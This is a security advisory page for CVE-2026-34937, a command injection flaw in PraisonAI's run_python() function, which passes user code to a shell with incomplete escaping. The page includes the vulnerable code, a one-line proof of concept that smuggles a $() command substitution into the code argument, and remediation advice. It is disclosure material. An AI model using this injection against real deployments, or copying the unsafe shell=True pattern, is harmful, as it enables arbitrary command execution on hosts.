CVE-2026-34937

HIGH
2026-04-01 https://github.com/MervinPraison/PraisonAI GHSA-w37c-qqfp-c67f
7.8
CVSS 3.1
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CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Patch Released
Apr 02, 2026 - 14:30 nvd
Patch available
Analysis Generated
Apr 02, 2026 - 00:15 vuln.today
CVE Published
Apr 01, 2026 - 23:18 nvd
HIGH 7.8

Description

### Summary `run_python()` in `praisonai` constructs a shell command string by interpolating user-controlled code into `python3 -c "<code>"` and passing it to `subprocess.run(..., shell=True)`. The escaping logic only handles `\` and `"`, leaving `$()` and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked. ### Details `execute_command.py:290` (source) -> `execute_command.py:297` (hop) -> `execute_command.py:310` (sink) ```python # source -- user-controlled code argument def run_python(code: str, cwd=None, timeout=60): # hop -- incomplete escaping, $ and () not handled escaped_code = code.replace('\\', '\\\\').replace('"', '\\"') command = f'{python_cmd} -c "{escaped_code}"' # sink -- shell=True expands $() before python3 runs return execute_command(command=command, cwd=cwd, timeout=timeout) # execute_command calls subprocess.run(command, shell=True, ...) ``` ### PoC ```python # tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30) # install: pip install -e src/praisonai import sys sys.path.insert(0, 'src/praisonai') from praisonai.code.tools.execute_command import run_python result = run_python(code='$(id > /tmp/injected)') print(result) # verify import subprocess print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout) # expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)... ``` ### Impact Any agent pipeline or API consumer that passes user or task-supplied content to `run_python()` is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with `AUTH_ENABLED = False` by default when no token is configured.

Analysis

Command injection in PraisonAI's run_python() function allows authenticated local attackers to execute arbitrary operating system commands with the privileges of the application process. The vulnerability stems from incomplete input sanitization that fails to escape shell metacharacters ($() and backticks) before passing user-controlled code to subprocess.run() with shell=True. …

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Remediation

Within 24 hours: inventory all systems running praisonaiagents package and identify which versions are deployed; restrict local access to systems running PraisonAI to authorized personnel only. Within 7 days: contact PraisonAI vendor for patch availability and timeline; implement network segmentation to isolate PraisonAI systems from critical infrastructure. …

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Priority Score

39
Low Medium High Critical
KEV: 0
EPSS: +0.0
CVSS: +39
POC: 0

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